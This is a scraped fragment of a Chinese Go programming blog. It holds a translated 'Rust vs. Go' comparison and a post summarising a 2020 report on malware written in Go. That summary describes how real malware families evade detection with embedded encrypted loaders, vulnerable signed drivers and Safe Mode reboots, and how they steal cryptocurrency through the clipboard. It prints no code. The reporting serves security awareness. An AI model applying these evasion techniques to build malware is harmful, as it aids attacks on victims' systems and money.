欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/03/23/io-fs-interface-is-an-excellent-design/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/io-fs-interface-is-an-excellent-design-1.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"1-设计iofs的背景\"\u003e1. 设计io/fs的背景\u003c/h3\u003e\n\u003cp\u003eGo语言的接口是Gopher最喜欢的语法元素之一，其隐式的契约满足和“当前唯一可用的泛型机制”的特质让其成为面向组合编程的强大武器，其存在为Go建立事物抽象奠定了基础，同时也是建立抽象的主要手段。\u003c/p\u003e","title":"对Go 1.16 io/fs设计的第一感觉：得劲儿！"},{"content":"\n本文翻译自乔纳森·特纳（Jonathan Turner）和史蒂夫·弗朗西亚（Steve Francia）的文章《Rust vs. Go: Why They’re Better Together》。\n史蒂夫·弗朗西亚（Steve Francia）：在过去的25年里，Steve Francia建立了一些最具创新性和成功的技术和公司，这些技术和公司已经成为云计算的基础，被全世界的企业和开发者所接受。他目前是谷歌Go编程语言的产品和战略负责人。他是Hugo、Cobra、Viper、spf13-vim和许多其他开源项目的创建者，拥有领导世界上最大的五个开源项目的独特荣誉。\n乔纳森-特纳（Jonathan Turner）在开源领域工作了20多年，从小型项目到大型项目，包括帮助微软向开源转型。他是创建TypeScript团队的一员，并作为项目经理和设计团队的负责人帮助其成长。他还作为Rust社区成员和Mozilla Rust团队的一员参与Rust的工作，包括共同设计Rust的错误信息和IDE支持。\n虽然其他人可能认为Rust和Go是竞争性的编程语言，但Rust和Go团队却都不这么认为。恰恰相反，我们的团队非常尊重其他团队正在做的事情，并认为这两种编程语言是相辅相成的，有着共同的愿景，即在整个行业内实现软件开发状态的现代化。\n在本文中，我们将讨论Rust和Go的优缺点、它们如何相互补充和支持以及我们对每种语言的最佳使用时机的建议。\n一些公司正在发掘采用这两种语言的价值以及它们的互补价值。为了从我们的观点转向用户的实际体验，我们采访了三家这样的公司，Dropbox 、Fastly和Cloudflare，讲述了他们共同使用Go和Rust的经验。他们的经验之谈将被引用并贯穿本文，为大家提供更进一步的观点。\n1. 语言比较 编程语言 Go Rust 创建时间 2009 2010 创建于 谷歌 Mozilla 知名项目 Kubernetes，Docker，Github CLI，Hugo，Caddy，Drone，Ethereum，Syncthing，Terraform Firefox, ripgrep, alacritty, deno, Habitat 典型用途 APIs, Web Apps, CLI apps, DevOps, Networking, Data Processing, cloud apps IoT, processing engines, security-sensitive apps, system components, cloud apps 开发者采用 8.8%(第12名) 5.1%(第19名) 开发者最爱 62.3%(第5名) 86.1%(第1名) 开发最想要 17.9%(第3名) 14.6%(第5名) 2. 相似之处 Go和Rust有很多共同点。两者都是现代软件语言，都是出于为影响软件开发的问题提供一个安全和可扩展的解决方案的需要而诞生的。两者都是为了应对创建者在行业内现有语言中遇到的缺点而创建的，尤其是开发者生产力、可扩展性、安全性和并发性方面的缺点。\n当今流行的大多数语言都是30多年前设计的。当这些语言被设计出来的时候，与今天有五个关键的区别：\n摩尔定律被认为是永恒不变的。 大多数软件项目都是由小团队编写的，并且经常一个人单干。 大多数软件有相对较少的依赖性，大多数是专有的。 安全性是次要的考虑因素……或者根本不是考虑因素。 软件通常是为单一平台编写的。 相比之下，Rust和Go都是为今天的世界而写的，并都采取了相似的方法来设计一种适合今天开发需求的语言。\n1) 性能和并发 Go和Rust都是专注于生产高效代码的编译语言。它们还可以方便地使用当今机器的多个处理器，使它们成为编写高效并行代码的理想语言。\n“使用Go使得MercadoLibre公司将他们用于这项服务的服务器数量减少到原来的八分之一（从32台服务器减少到4台），另外，每台服务器可以用更少的功率运行（原来是4个CPU核，现在减少到2个CPU核）。有了Go，该公司省去了88%的服务器，并将剩余服务器上的CPU削减了一半–产生了巨大的成本节约。”–“MercadoLibre与Go一起成长”\n“在我们严格管理的环境中，在我们运行Go代码的环境中，我们看到CPU减少了大约百分之十[与C++相比]，代码更干净，更可维护。” – Bala Natarajan，Paypal\n“在AWS，我们也很喜欢Rust，因为它能帮助AWS编写高性能、安全的基础设施级网络和其他系统软件。亚马逊第一个用Rust构建的重要产品Firecracker于2018年公开发布，它提供了开源虚拟化技术，为AWS Lambda和其他无服务器产品提供动力。但我们也使用Rust来提供亚马逊简单存储服务（Amazon S3）、亚马逊弹性计算云（Amazon EC2）、Amazon CloudFront、Amazon Route 53等服务。最近，我们推出了基于Linux的容器操作系统Bottlerocket，它是用Rust编写的。” – Matt Asay，亚马逊网络服务\n我们”看到我们的速度非凡地提高了1200-1500%! 我们从实现了较少解析规则的Scala的模式下的300-450ms，到实现了更多解析模式的Rust模式下的25-30ms！” – Josh Hannaford，IBM\n2) 团队可扩展—-可审查 今天的软件开发是由团队建立的，这些团队不断成长和扩大，经常使用源码控制以分布式的方式进行协作。Go和Rust都是针对团队的工作方式而设计的，通过消除不必要的担忧，如格式(比如go的gofmt)、安全和复杂的组织，来改善代码审查。这两种语言都需要相对较少的上下文来理解代码的工作，使审查人员能够更快速地使用其他人编写的代码，并审查团队成员的代码和你团队以外的开源开发人员贡献的代码。\n“我早期的职业生涯有Java和Ruby的背景，构建Go和Rust代码对我来说就像卸下了无法承受的重担。当我在Google时，遇到用Go编写的服务让我很欣慰，因为我知道它易于构建和运行。Rust的情况也是如此，尽管我只是在更小的工作范围内使用了它。我希望无限可配置的构建系统的日子已经过去了，而语言都有自己的专用构建工具，开箱即用。”– Sam Rose，CV合伙人。\n“用Go写服务的时候，我往往会松一口气，因为与动态语言相比，Go的静态类型系统非常简单，易于推理，并发性是一等公民，Go的标准库既无比精致强大，又切中要害。安装一个标准的Go，再使用一个grpc库和一个数据库连接器，你在服务器端几乎不需要其他的东西，每个工程师都能看懂代码，看懂库。在用Rust编写模块时，Dropbox工程师在2019年Async-await稳定下来之前，感受到了Rust在服务器端的成长之痛，但从那时起，crate(译注：Rust中的概念)正在趋向于使用它，我们得到了Async模式并从并发中受益。” – Daniel Reiter Horn，Dropbox\n3) 开放源码意识 今天一般软件项目所使用的依赖关系数量是惊人的。长达几十年的软件重用目标在现代开发中已经实现，今天的软件可能是复用了100多个项目而构建的。为此，开发人员使用软件仓库，这越来越成为软件开发的主旋律，并在越来越广泛的领域应用。开发者所包含的每一个软件包，又有自己的依赖关系。为今天的编程环境而设计出的编程语言需要毫不费力地处理这种复杂性。\nGo和Rust都有包管理系统，允许开发人员列出一个简单的清单，列出他们想要构建的包，语言工具就会自动为他们获取和维护这些包，这样开发人员就可以把更多的精力放在自己的代码上，而不是放在对其他包的管理上。\n4) 安全性 Go和Rust都很好地解决了当今应用的安全问题，保证了用这些语言构建的代码在运行时不会让用户暴露在各种经典的安全漏洞中，比如缓冲区溢出、use-after-free(内存释放后还使用)等。通过消除这些顾虑，开发者可以专注于手头的问题，并在默认情况下构建更安全的应用程序。\n“Rust编译器在解决您遇到的错误时确实能助您一臂之力。这样一来，您就可以专注于自己的业务目标，而不必寻找错误或解密隐秘消息。” -Josh Hannaford，IBM\n简而言之，Rust的灵活性，安全性和安全性带给我们的益处超过了必须遵循严格的lifetime，borrow(rust中的概念)和其他编译器规则甚至缺乏垃圾收集器所带来的任何不便。这些功能是云软件项目中非常需要的功能，将有助于避免其中常见的许多错误。” —微软高级泰勒·托马斯（Taylor Thomas）。\n“Go是强静态类型化的，没有隐式转换，但语法开销还是小得惊人。这是通过赋值中简单的类型推理与非类型化的数值常量一起实现的。这使得Go比Java（有隐式转换）具有更强的类型安全性，但代码读起来更像Python（有非类型变量）。” – Stefan Nilsson，计算机科学教授。\n“当我们在Dropbox构建用于存储块数据的Brotli压缩库时，我们将自己限制在Rust的安全子集上，而且，也限制在核心库（no-stdlib）上，分配器指定为通用。这样使用Rust的子集，使得在客户端从Rust调用Rust-Brotli库，以及在服务器上使用Python和Go的C FFI变得非常容易。这种编译模式也提供了大量的安全保障。经过一些调整，Rust Brotli的实现尽管是100%安全的、经过数组边界检查的代码，但仍然比C语言中相应的原生Brotli代码快。” – Daniel Reiter Horn，Dropbox\n5) 真正的可移植性 在Go和Rust中，写一个软件，在许多不同的操作系统和架构上运行是很容易的。”一次编写，随处编译”。此外，Go和Rust都原生支持交叉编译，消除了旧编译语言常见的”build farm”的需要。\n“Go在生产优化方面拥有很好的特质，比如拥有较小的内存占用，这支持其在大型项目中被用于构建模块，以及开箱即用，易于交叉编译到其他架构。由于Go代码被编译成单一的静态二进制，我们可以轻松将其容器化，并且通过扩展，我们可以很轻松地将Go部署到任何高可用环境（如Kubernetes）中。” – Dewet Diener，Curve。\n“当你看一个基于云的基础设施时，通常你会使用类似Docker容器这样的东西来部署你的工作负载。通过在Go中构建的静态二进制，你可以拥有一个10、11、12兆字节的Docker文件，而不是带来整个Node.js生态系统，或像Python或Java那样动辄数百兆字节大小的Docker镜像文件。所以，交付那个微小的二进制文件是很神奇的。” – Brian Ketelsen，微软。\n“有了Rust，我们将拥有一个高性能和可移植的平台，我们可以轻松地在Mac、iOS、Linux、Android和Windows上运行。” – Matt Ronge，Astropad。\n3. 差异 在设计中，总是要做出一些取舍。虽然Go和Rust大约在同一时间出现，目标相似，但由于他们决策时选择了不同的取舍，使得这两种语言在关键的方面有所区别。\n1) 性能方面 Go开箱即有出色的性能。在设计上，几乎没有预留任何旋钮或开关可以让你从Go中榨取更多的性能。Rust的设计是为了让您能够从代码中榨取每一滴性能；在这方面，您确实无法找到比Rust更快的语言。然而，Rust的性能提升是以额外的复杂性为代价的。\n“值得注意的是，在编写Rust版本时，我们只在优化方面投入了非常基本的思考。即使只做了基本的优化，Rust的性能也能超过超手工调整的Go版本。这极大地证明了用Rust编写高效的程序是多么容易，相比之下，我们不得不对Go进行深挖。” – Jesse Howarth，Discord。\n“Dropbox工程师通过将行对行的Python代码移植到Go中，往往可以看到5倍的性能提升和延迟下降，与Python相比，内存使用率往往会大幅下降，因为没有GIL，进程数可能会减少。然而，当我们的内存受限时，比如在桌面客户端软件或某些服务器进程中，我们会转而使用Rust，因为Rust中的手动内存管理效率大大高于Go GC。” – Daniel Reiter Horn，Dropbox\n2) 适应性/交互性 Go快速迭代的优势让开发人员可以快速尝试各种想法，并磨合出能解决手头任务的工作代码。通常情况下，这就足够了，可以让开发者腾出手来处理其他任务。另一方面，与Go相比，Rust的编译时间更长，导致迭代时间更慢。这就导致了Go在一些场景中能更好地工作，因为更快的周转时间能让开发人员适应不断变化的需求，而Rust则在一些场景中茁壮成长，因为在这些场景中，可以给予更多的时间来做出更精致、更高性能的实现。\n“Go类型系统的天才之处在于调用者可以定义Interface，允许库返回仅需满足小接口但却支持扩展的结构。Rust类型系统的天才设计在于匹配语法与Result\u0026lt;\u0026gt;的结合，你可以静态地确定每一种可能性都会被处理，永远不必发明空值来满足未使用的返回参数。” – Daniel Reiter Horn，Dropbox\n“(我)如果你的用例离客户更近，更容易受到需求变化的影响，那么用Go就会好很多，因为持续重构的成本要便宜很多。这就是你能多快地表达新的需求并尝试它们。” – Peter Bourgon，Fastly\n3) 可学性 简单来说，真的没有比Go更“平易近人”的语言了。有很多团队能够在几周内采用Go并将Go服务/应用投入生产的故事。此外，Go在语言中是比较独特的，它的语言设计和实践在它10多年的生命中是相当一致的。所以，投入到学习Go上的时间可以保持很长一段时间的价值。相比之下，Rust由于其复杂性，被认为是一门难学的语言。一般来说，学习Rust需要几个月的时间才能感觉到自如，但这种额外的复杂性也带来了精确的控制和性能的提高。\n“当时，没有一个团队成员知道Go，但在一个月内，每个人都在用Go写作”–Jaime Garcia，Capital One。\n“Go与其他编程语言不同的地方在于认知负担。你可以用更少的代码做更多的事情，这使得你更容易推理和理解你最终编写的代码。大多数Go代码最终看起来都很相似，所以，即使你在使用一个全新的代码库，你也可以很快上手并运行。” – Glen Balliet 美国运通忠诚度平台工程总监 美国运通使用Go进行支付和奖励\n“然而，与其他编程语言不同，Go是为了最大限度地提高用户效率而创建的。因此，具有Java或PHP背景的开发人员和工程师可以在几周内获得使用Go的高级技能和培训–根据我们的经验，他们中的许多人最终都喜欢上了Go。” – Dewet Diener，Curve\n4) 精确控制 也许Rust最大的优势之一就是开发者对如何管理内存、如何使用机器的可用资源、如何优化代码以及如何制作问题解决方案的控制。与Go相比，这并不是没有很大的复杂度成本，因为Go的设计并不是为了这种精确的制作，而是为了更快的探索时间和更快的周转时间。\n“随着我们对Rust经验的增长，它在另外两个轴上显示出了优势：作为一种具有强大内存安全性的语言，它是边缘处理的好选择；作为一种具有巨大热情的语言，它成为了重写组件的流行语言。” – John Graham-Cumming，Cloudflare。\n3. 总结/主要收获 Go的简单性、性能和开发人员的生产力使Go成为创建面向用户的应用程序和服务的理想语言。快速的迭代让团队能够快速地作出反应以满足用户不断变化的需求，让团队有办法将精力集中在灵活性上。\nRust更精细的控制允许更多的精确性，使得Rust成为低级操作的理想语言，这些低级操作不太可能发生变化，并且会从比Go略微提高的性能中受益，特别是在非常大的规模部署时。\nRust的优势在最接近“金属”(指底层机器)的地方。Go的优势是在离用户更近的地方最有利。这并不是说两者都不能在对方的空间里工作，但这样做会增加摩擦。当你的需求从灵活性转变为效率时，用Rust重写库的理由就更充分了。\n虽然Go和Rust的设计有很大的不同，但它们的设计发挥了兼容的优势，而且–当一起使用时–既可以有很大的灵活性，又可以有很好的性能。\n4. 我们的建议 对于大多数公司和用户来说，Go是正确的默认选择。它的性能很强，Go很容易采用，而且Go的高度模块化特性使它特别适合需求不断变化或发展的情况。\n随着你的产品逐渐成熟，需求趋于稳定，可能会有机会从性能的边际增长中获得巨大的胜利。在这些情况下，使用Rust来最大限度地提高性能可能很值得你进行初始投资。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎各位Gopher加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订阅！目前该技术专栏正在新春促销！关注我的个人公众号“iamtonybai”，发送“go专栏活动”即可获取专栏专属优惠码，可在订阅专栏时抵扣20元哦(2021.2月末前有效)。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/03/15/rust-vs-go-why-they-are-better-together/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/rust-vs-go-why-they-are-better-together-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自乔纳森·特纳（Jonathan Turner）和史蒂夫·弗朗西亚（Steve Francia）的文章\u003ca href=\"https://thenewstack.io/rust-vs-go-why-theyre-better-together/\"\u003e《Rust vs. Go: Why They’re Better Together》\u003c/a\u003e。\u003c/p\u003e","title":"Rust vs. Go：为什么强强联合会更好"},{"content":"\n2020年5月份，Go语言之父Rob Pike接受了evrone.com的专访。当Rob Pike老爷子被问及多年来他看到过最奇怪、最有创意或有趣的Go用法或最让他惊讶的是什么时，老爷子是这么回答的：\nRob：最大的惊喜是当我们得知Go被用于编写恶意软件时。您无法控制谁将使用您的作品或他们将如何使用它。\n近期安全技术公司Intezer发布了一份名为《Year of the Gopher, A 2020 Go Malware Round-Up》的报告，该报告称在过去几年中，安全人员发现的用Go编写的新恶意软件几乎增加了2000%，这一标题迅速引爆程序员社区，有人唾弃Go踏入“歧途”，也有人膜拜Go的niubility：能被黑客看中和使用的都是精华！\n那么究竟是什么让黑客们这么青睐Go并用之去编写恶意软件呢？估计但那份几十页的报告没几个人会完整的读一遍，本文我们就结合报告的内容(分类、整理、摘录)做一些探究。\n1. Go语言的简介 报告首先简单介绍了Go的前世今生。\nGo是一种开源的编程语言，由Robert Griesemer、Rob Pike和Ken Thompson于2007年在Google开发。它于2009年11月向公众发布。开发新语言的动机来自于使用当前编程语言(当时三巨头都是用C++)的挫折感。由于CPU不再通过增加时钟周期的数量来提高速度。相反，更多的速度开始通过添加更多的CPU核并允许更多的并行执行来获得。这种硬件上的进化并没有很好地反映在通用编程语言中。虽然C、C++和Java等语言提供了在多核上并行执行事务的功能，但它们为程序员提供的帮助却很少，无法高效、安全地完成这项工作。\nGoogle的程序员们于是开始设计一种新的编程语言，为方便和安全的使用并发或并行提供“原生/一等公民地位”的支持。另一个目标则是要将解释型语言的编程便利性与静态类型和编译型语言的效率和安全性结合起来。另外在设计时，Google是将其用于Google基础设施运行的一部分网络服务中，因此对网络的支持也很重要。\n为了提供在解释语言中编程的感觉，Go使用垃圾收集并处理所有的内存管理。所有的Go二进制文件都包含一个称为运行时的通用库，这导致Go二进制文件的大小比用C语言编写的类似的静态链接的程序要大。该库负责处理垃圾收集、执行线程的调度以及该语言的所有其他关键功能。虽然它被称为运行时，但比起Java运行时，它更像C语言的libc，它已经与二进制文件进行了静态编译。Go二进制文件被编译成本地机器代码，但也可以被编译成以JavaScript为运行时的WebAssembly。\nGo 1.4版本及更早版本的编译器是用C语言实现的，但随着2015年1.5版本的发布，编译器完全用Go语言编写，并实现了自举。转为自举编译器后，给用户在交叉编译方面的体验带来了巨大的改善。之前使用基于C语言的编译器时，需要在编译代码的机器上安装一个针对目标操作系统和架构的C编译器。和针对不同目标的C代码进行交叉编译时的方式非常相似。从1.5版本开始，只需要向编译器指明它的编译目标架构，就可以实现对不同操作系统和架构的交叉编译。不需要针对目标的特殊编译器。Go可以通过不依赖主机上的库来执行例如syscalls(系统调用)。本来由libc提供的功能由Go的标准库提供和处理。这种方便的交叉编译有一个限制，那就是当Go程序需要通过其外函数接口（FFI）与C语言编写的库进行交互时。\n新的功能和解决方案使得程序员在新项目中采用Go。2016年，TIOBE授予Go“年度最佳编程语言”，这是一个授予评分上升幅度最高的语言的奖项。随着软件开发者因其功能而开始采用Go，恶意软件作者也开始采用Go也就不足为奇了。\n人们注意到使用Go开发的恶意软件增多是从2019年Palo Alto Networks公司发布的一份分析报告开始的。2019年7月，Palo Alto Networks公司的Unit 42发布了对当时发现的用Go编写的恶意软件的分析报告。研究发现，2017年至2019年期间，人们发现的Go恶意软件样本增加 了1944%，这量化了一个很容易发现的趋势。在2019年之前，发现用Go编写的恶意软件更多的是一种罕见的现象，而在2019年期间，这成为了一种日常现象。报告中分析的恶意软件中，大部分，92%的恶意软件针对Windows，而4.5%针对Linux，3.5%针对macOS。\n人们观察到的另一点是，渗透测试(pen-testing)团队采用Go来开发他们的工具，这在Unit 42的研究中很突出。\n最常见的恶意软件家族类型是开源或渗透测试后门。其次是coinminer(挖矿)、窃取者和僵尸网络。这篇报告涵盖了2020年期间活跃的用Go编写的已知恶意软件的活动。\n2. 使用Go的嵌入文件功能实现恶意加载器 与其他语言产生的二进制文件相比，Go编译器产生的二进制文件相对较大。例如，一个Hello World二进制文件有1700多个函数。由于二进制文件中有这么多的常用代码，因此在寻找可疑代码时就像大海捞针一样。这可能是为什么恶意Go二进制文件有时不被 反病毒引擎检测到的原因之一。这导致一些威胁行为者在Go中开发加载器，并利用它们来提供其他较老的、易被检测到的恶意软件。这种技术可以降低被检出率，甚至有时会使恶意软件完全无法被检测到。在Go二进制文件中嵌入其他二进制文件相对容易。有很多开源库已经解决了这个问题。下面是其中的一些列表：\nhttps://github.com/gobuffalo/packr https://github.com/rakyll/statik https://github.com/GeertJohan/go.rice https://github.com/UnnoTed/fileb0x https://github.com/mjibson/esc https://github.com/kevinburke/go-bindata https://github.com/lu4p/binclude https://github.com/omeid/go-resources https://github.com/pyros2097/go-embed https://github.com/wlbr/mule https://github.com/miscing/embed https://github.com/kyioptr/gassets 上述包的大部分的设计都是为了允许嵌入网络服务的静态资源文件(asset)，但使用案例并不限于此。嵌入文件的功能受到了广泛的好评，以至于今年2020年早些时候有人建议将该功能直接添加到Go编译器中。该建议已被接受，并已与2021年2月发布的Go 1.16版本一起发布了。从这个角度来看，Go 1.16版本加入嵌入文件功能，颇有些“助纣为虐”之嫌^_^。\n3. 使用Go标准库强大的加密库和便捷的跨主机交叉编译特性实现恶意加密器和勒索软件 Go的标准库提供了一套非常强大的加密库，允许开发者在不需要使用任何第三方库的情况下，在应用中加入加密功能。\n一个开源的加密加载器是Go shellcode LoaDer。它用AES对有效载荷进行加密。它对有效载荷进行解密，并在执行之前使用ZwProtectVirtualMemory将解密缓冲区标记为读取/执行。\n我们还观察到威胁行为者编写自己的加密器和加载器。例如，我们看到一个名为gocrypter的加载器被用于加密商品恶意软件；大多数是RAT(Remote Access Trojans，远程访问木马)和键盘记录器。有效载荷已经用AES加密，并作为base64编码的blob存储在二进制内部。加密器将其解码成字节，并在写入磁盘和执行之前进行解密。\n在2020年仍有一些活动的勒索软件，比如：RobbinHood。RobbinHood在2019年春季被发现，当巴尔的摩市被发现受到该勒索软件攻击时，得到了很多媒体的关注。Sophos在2月份发布了一份报告，详细介绍了该威胁行为者的一些演变过程。通过利用技嘉公司的一个脆弱的驱动程序，威胁行为者开始加载一个未签名的驱动程序。一旦驱动程序被加载，它将杀死进程和篡改保护软件，以确保勒索软件可以在不被中断的情况下加密硬盘驱动器的其余部分。但在2020年11月，仍有新的样本被发现，但勒索说明没有改变。11月的一个样本的PDB字符串为C:/Users/User/go/src/Robbinhood7，这表明根据恶意软件作者的说法，它可能是第7个版本的勒索软件。\n另一个用Go编写的、仍然活跃的老牌勒索软件是Snatch。Snatch是在2018年12月被发现的，到现在似乎还在使用。该勒索软件由Snatch Team使用，他们通过远程访问服务（例如RDP）瞄准企业环境。一旦进入网络，该组织就会尝试在所有机器上部署勒索软件， 并对文件进行加密。该勒索软件在加密文件时有一个有趣的技术，该技术在2019年10月被引入到勒索软件中。该勒索软件将自己安装为一项服务，即使Windows启动到安全模式，也可以启动。在此之后，勒索软件将Windows重新启动到安全模式，允许它加密硬盘上的所有文件，而不会被安装的任何潜在的安全保护软件阻止。\nNefilim是一款勒索软件，最早出现在2020年3月。它是另一款名为Nemty的勒索软件的前身。最初的版本是用C++编写的，但在7月，该恶意软件用Go重新编写。除了加密受害者机器上的文件外，Nefilim背后的威胁行为者还窃取受害者的数据，并用于勒索。\n由于Go提供了一种针对不同架构和操作系统交叉编译二进do制文件的简单方法，因此它被用于RaaS(Ransomware as a Service)勒索软件并不奇怪。它允许威胁行为者使用单一的代码库，以极低的工作量制作针对不同操作系统的二进制文件。Go已经被用于RaaS。在2020年的春天，一个新的RaaS被宣布，名为Smaug。Smaug是一个相对简单的勒索软件，但它为Windows、Linux和macOS提供”用户”的勒索软件服务。它可以在”企业”模式下运行，即所有机器使用一个密钥，或者每台机器模式下使用一个密钥。\nGo可以为其他操作系统和架构制作二进制文件，这使得威胁行为者可以轻松地针对不同类型的设备，例如，嵌入式系统。在2019年夏天，我们发现了QNAPCrypt，也就是eCh0raix，这是一款针对QNAP NAS设备的勒索软件。后来，它还被用来针对Synology NAS设备。2020年，又发现了一款针对QNAP设备的新勒索软件。新的勒索软件被称为AgeLocker，因为它使用了开源的加密工具和库age。\n在2020年期间发现的其他用Go编写的勒索软件包括。1月发现的Betasup，2月发现的Sorena也就是HackForLife和Vash，3月发现的GoGoogle。\n4. 使用Go优秀的网络协议栈实现开发RAT(远程访问木马)、恶意偷窃程序、恶意机器人和僵尸网络 Go的网络协议栈写得非常好，易于操作。Go已经成为云计算的编程语言之一，很多云原生应用都是用它编写的。例如，Docker、Kubernetes、InfluxDB、Traefik、Terraform、CockroachDB、Prometheus和Consul都是用Go编写的。这是有道理的，因为创建Go背后的原因之一正是要发明一种更好的语言，可以用来取代Google内部使用的C++网络服务。因此远程访问木马(RAT)是用Go编写的，这并不奇怪。毕竟，它们非常需要优良的网络服务功能。\n在这一年中，既有新的RAT出现，也有老的RAT不断被使用。早在2020年8月，我们发现了一个Linux版本的Carbanak威胁行为体使用的后门。该样本使用2017年2月发布的Go 1.8版本编译器进行编译。同样的编译器版本和构建环境被用于2017年RSA报告的一部分的初始Windows样本。\nGlupteba是一个自2011年以来一直存在的恶意软件，但在2019年9月，发现了一个用Go改写的新版本。在整个2020年，这个新版本出现的更为频繁。该恶意软件在感染机器时，会尝试安装一个root-kit。为了绕过Windows中防止安装内核驱动程序的保护措施，恶意软件利用了一个脆弱的VirtualBox驱动程序。恶意软件会安装该驱动程序，由于该驱动程序是经过签名的，所以Windows会允许安装，并使用它在Ring-0中执行代码，以禁用Kernel Patch Protection（KPP）。这种技术并不新鲜，它最早被APT组织Turla使用。除此之外，该恶意软件还试图通过利用EternalBlue在本地网络内进行传播。\nWindows并不是唯一一个被用Go编写的RAT攻击的操作系统。2020年10月，Bitdefender发布了一个针对Linux的新RAT的发现。Bitdefender的研究人员认为，它可能与2019年的PowerGhost活动有关。该威胁行为体针对的是易受CVE-2019-2725影响的WebLogic服务器。该RAT似乎被作者命名为NiuB。该恶意软件由两个二进制文件组成，即主恶意软件和一个防护恶意软件。该恶意软件收集受感染机器的信息，并将其发送到C2服务器。它可以执行shell命令，下载并执行其他二进制文件。\n2020年1月，FireEye发布了一份针对NetScaler设备的攻击报告。攻击是利用CVE-2019-19781漏洞。作为攻击的一部分，威胁行为者使用了一种新的恶意软件，以前从未见过。FireEye将该恶意软件命名为NOTROBIN。它是用Go编写的，并被编译成在*BSD上运行，这是NetScaler使用的底层操作系统。一个有趣的功能是，该恶意软件通过扫描新的NetScaler模板文件并将其删除来阻止其他恶意软件利用相同的漏洞，这些文件可能是作为利用尝试的一部分添加的。它在18634端口上打开一个UDP监听器，但忽略发送到它的数据。它基本上充当了一个mutex，以确保受感染的机器上只运行一个恶意软件的副本。\n已经有一些用Go编写的窃取器。在2019年，Malwarebytes报告了一个名为CryptoStealer.Go的窃取器。它旨在窃取加密货币钱包和 存储在浏览器中的数据，如信用卡信息。\n同样在2020年期间，发现了一个用Go编写的剪贴板窃取器。它似乎自2019年以来一直活跃。根据上传到VirusTotal的样本的文件名 ，该窃取器被伪装成黑客工具，表明它被用来针对其他威胁行为者。该恶意软件的设计很简单。它将自己安装在App/DataLocal/Support下，并隐藏文件或文件夹。它读取剪贴板并检查它是否看起来像加密货币地址。如果是，恶意软件就会用攻击者自己的比特币、莱特币、Monero或Ethereum钱包替换剪贴板内容。\n该恶意软件中的比特币钱包地址自2018年秋季以来一直处于活跃状态。截至本文撰写时，它已经收到了534笔交易，价值近11BTC。\n随着Go作为标准库的一部分支持许多网络协议，以及为不同架构编译二进制文件的便利性，越来越多的机器人用Go编写也就不足为奇了。另外，二进制文件包含了正常运行所需的一切，这也为代码作者提供了更多的保证，例如，它可以在不同的Linux发行版上运行。它不用担心机器上是否已经安装了库。因为它需要什么，就自带什么。还有很多第三方库，提供了访问其他服务的功能。\n比如这里列出了一些机器人库，可以用来开发不同服务的机器人。\nhttps://github.com/go-joe/joe https://github.com/bot-api/telegram https://github.com/shomali11/slacker https://github.com/go-chat-bot/bot https://github.com/frodsan/fbot https://github.com/go-telegram-bot-api/telegram-bot-api https://github.com/tucnak/telebot 